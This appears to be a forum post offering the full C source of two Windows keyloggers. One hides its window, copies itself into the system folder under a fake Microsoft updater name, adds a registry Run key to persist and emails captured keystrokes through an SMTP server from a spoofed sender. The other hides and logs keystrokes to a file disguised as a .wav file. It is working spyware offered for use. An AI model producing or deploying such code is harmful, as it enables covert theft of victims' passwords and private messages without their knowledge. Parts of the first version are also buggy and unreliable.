This is my keylogger. I have made two versions. The first one records and sends the logs through a specified SMTP server with a custom email. The second one records and stores the file on the computer itself, so you will need physical access to retrieve the logs.

Mail
Code:
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
//-lws2_32
int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 10000
#define cmailserver "smtp.live.com"
#define cemailto "www.randumadress@hotmail.com"
#define cemailfrom "file@fbi.gov"
#define LogLength 505
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "INFO"

int get_keys(void);
int test_key(void);

int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,
                            LPSTR lpszArgument, int nFunsterStil)
{
   
   HKEY hKey;
   char system[MAX_PATH];
   char pathtofile[MAX_PATH];
   char sys[MAX_PATH] = "\\MicrosoftUpdate32.exe";
   HMODULE GetModH = GetModuleHandle(NULL);
   GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
   GetSystemDirectory(system,sizeof(system));
   strcat(system,sys);
   CopyFile(pathtofile,system,false);

   HWND stealth;
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);
   
   RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
   RegSetValueEx(hKey, "Microsoft Updater",0,REG_SZ,(const unsigned char*)system,sizeof(system));
   RegCloseKey(hKey); 

   {
   FILE *file;
   file=fopen(FileName,"a+");
   time_t theTime=time(0);
   fputs("\nStarted logging: ", file);
   fputs(ctime(&theTime),file);
   fclose(file);
   }
      
   int t = get_keys();    
   return t;
}  

int get_keys()
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");
int i = 0;
           long character;
             while(i < 500)
             {
                    Sleep(10);/*to prevent cpu freeze*/
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  
                            FILE *file;
                            file=fopen(FileName,"a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }            
                            if(file!=NULL)
                            {        //takes care of the letters and numbers
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }
                                    else
                                    {
                                        //this sorts out the symbols and character
                                        switch(character)
                                        {
                                              case VK_LSHIFT:
                                              fputs("[SHIFT]\n",file);
                                              fclose(file);
           
                                              case VK_DECIMAL: //decimal 
                                              fputc('.',file);
                                              fclose(file);
                                                                             
                                              case VK_SPACE: //space
                                              fputc(' ',file);
                                              fclose(file);
                                                       
                                              case VK_SHIFT:
                                              fputs("[SHIFT]\n",file);
                                              fclose(file);
                                                                                
                                              case VK_RETURN:
                                              fputs("[ENTER]\n",file);
                                              fclose(file);
                                              
                                              case VK_BACK:
                                              fputs("[BACKSPACE]\n",file);
                                              fclose(file);
                                              
                                              case VK_OEM_1:
                                              fputs("[; or :]\n",file);
                                              fclose(file);
                                              
                                              case VK_OEM_2:
                                              fputs("[/ or ?]\n",file);
                                              fclose(file);
                                              
                                              case VK_OEM_3:
                                              fputs("[` or ~]\n",file);
                                              fclose(file);
                                              
                                              case VK_OEM_4:
                                              fputs("[ [ or { ]\n",file);
                                              fclose(file);
                                              
                                              case VK_OEM_5:
                                              fputs("[\\ or |]\n",file);
                                              fclose(file);
                                                                             
                                              case VK_OEM_6:
                                              fputs("[ ] or } ]\n",file);
                                              fclose(file);
                                              
                                              case VK_OEM_7:
                                              fputs("['\"]\n",file);
                                              fclose(file);
                            
                                              case VK_CAPITAL:
                                              fputs("[CAPS LOCK]\n",file);
                                              fclose(file);
                                              
                                              default: //if the symbol is not recognized
                                              fputs("[Unknown]\n",file); //put unknown symbol
                                              fclose(file);
                                              
                                       }        
                                  }    
                             }        
                   }
                   i++;    
               }                  
           FILE *file;
           file=fopen(FileName,"rb");
           fseek(file,0,SEEK_END); //go to end
           len=ftell(file); //get position at end (length)
           if(len>=LogLength) {
             fseek(file,0,SEEK_SET);//go to beg.
             buf=(char *)malloc(len);//malloc buffer
             freadindex=fread(buf,1,len,file);//read into buffer
             buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
             MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
             fclose(file);
             file=fopen(FileName,"w");                        
             }
           
            fclose(file);
            //free (buf);
                 
           }
           return EXIT_SUCCESS;                            
}

int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage) {
    SOCKET sockfd;
    WSADATA wsaData;
    FILE *smtpfile;
    
    #define bufsize 300
    int bytes_sent;   /* Sock FD */
    int err;
    struct hostent *host;   /* info from gethostbyname */
    struct sockaddr_in dest_addr;   /* Host Address */
    char line[1000];
    char *Rec_Buf = (char*) malloc(bufsize+1);
    smtpfile=fopen(SMTPLog,"a+");
    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
      fputs("WSAStartup failed",smtpfile);
      WSACleanup();
      return -1;
    }
    if ( (host=gethostbyname(mailserver)) == NULL) {
       perror("gethostbyname");
       exit(1);
    }
    memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

     /* Prepare dest_addr */
     dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */
     dest_addr.sin_port= htons(25); /* PORT defined above */

     /* Get socket */

     if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
        perror("socket");
        exit(1);
        }
     /* Connect !*/
     fputs("Connecting....\n",smtpfile);
 
    if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
        perror("connect");
        exit(1);
        }
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"helo me.somepalace.com\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"MAIL FROM:<");
     strncat(line,emailfrom,strlen(emailfrom));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"RCPT TO:<");
     strncat(line,emailto,strlen(emailto));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"DATA\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     Sleep(waittime);
     strcpy(line,"To:");
     strcat(line,emailto);
     strcat(line,"\n");
     strcat(line,"From:");
     strcat(line,emailfrom);
     strcat(line,"\n");
     strcat(line,"Subject:");
     strcat(line,emailsubject);
     strcat(line,"\n");
     strcat(line,emailmessage);
     strcat(line,"\r\n.\r\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"quit\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     fclose(smtpfile);                          
     #ifdef WIN32
     closesocket(sockfd);
     WSACleanup();
     #else
     close(sockfd);
     #endif
}
Standalone

Code:
//-lws2_32
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
#define BUFSIZE 800
#define waittime 500
#define LogLength 100
#define FileName "sound.wav"
int get_keys(void);
int test_key(void);
int main(void)
{
   //Uncomment the lines below to put the keylogger in stealh mode.
   HWND stealth; /*creating stealth */
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);
   
   {FILE *file;
   file=fopen(FileName,"a+");
   time_t theTime=time(0);
   fputs("\nStarted logging: ", file);
   fputs(ctime(&theTime),file);
   fclose(file);
   }
   
         
   
   int t = get_keys();    
   return t;
}  

int get_keys()
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");


           short character;
             while(1)
             {
                    Sleep(5);/*to prevent 100% cpu usage*/
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  
                            FILE *file;
                            file=fopen(FileName,"a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }            
                            if(file!=NULL)
                            {        
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;    
                                              case VK_SHIFT:
                                              fputs("\r\n[SHIFT]\r\n",file);
                                              fclose(file);
                                              break;                                            
                                              case VK_RETURN:
                                              fputs("\r\n[ENTER]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_BACK:
                                              fputs("\r\n[BACKSPACE]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_TAB:
                                              fputs("\r\n[TAB]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_CONTROL:
                                              fputs("\r\n[CTRL]\r\n",file);
                                              fclose(file);
                                              break;    
                                              case VK_DELETE:
                                              fputs("\r\n[DEL]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_1:
                                              fputs("\r\n[;:]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_2:
                                              fputs("\r\n[/?]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_3:
                                              fputs("\r\n[`~]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_4:
                                              fputs("\r\n[ [{ ]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_5:
                                              fputs("\r\n[\\|]\r\n",file);
                                              fclose(file);
                                              break;                                
                                              case VK_OEM_6:
                                              fputs("\r\n[ ]} ]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_7:
                                              fputs("\r\n['\"]\r\n",file);
                                              fclose(file);
                                              break;
                                              case 187:
                                              fputc('+',file);
                                              fclose(file);
                                              break;
                                              case 188:
                                              fputc(',',file);
                                              fclose(file);
                                              break;
                                              case 189:
                                              fputc('-',file);
                                              fclose(file);
                                              break;
                                              case 190:
                                              fputc('.',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD0:
                                              fputc('0',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',file);
                                              fclose(file);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("\r\n[CAPS LOCK]\r\n",file);
                                              fclose(file);
                                              break;
                                              default:
                                              fclose(file);
                                              break;
                                       }        
                                  }    
                             }        
                   }    
               }                  
           FILE *file;
           file=fopen(FileName,"rb");
           fseek(file,0,SEEK_END); //go to end
           len=ftell(file); //get position at end (length)
           if(len>=LogLength) {
             fseek(file,0,SEEK_SET);//go to beg.
             buf=(char *)malloc(len);//malloc buffer
             freadindex=fread(buf,1,len,file);//read into buffer
             buf[freadindex] = '\0';//Extra bit I have to add to make it a sting

             fclose(file);
             file=fopen(FileName,"w");                        
             }
           
            fclose(file);
            //free (buf);
                 
           }
           return EXIT_SUCCESS;                            
}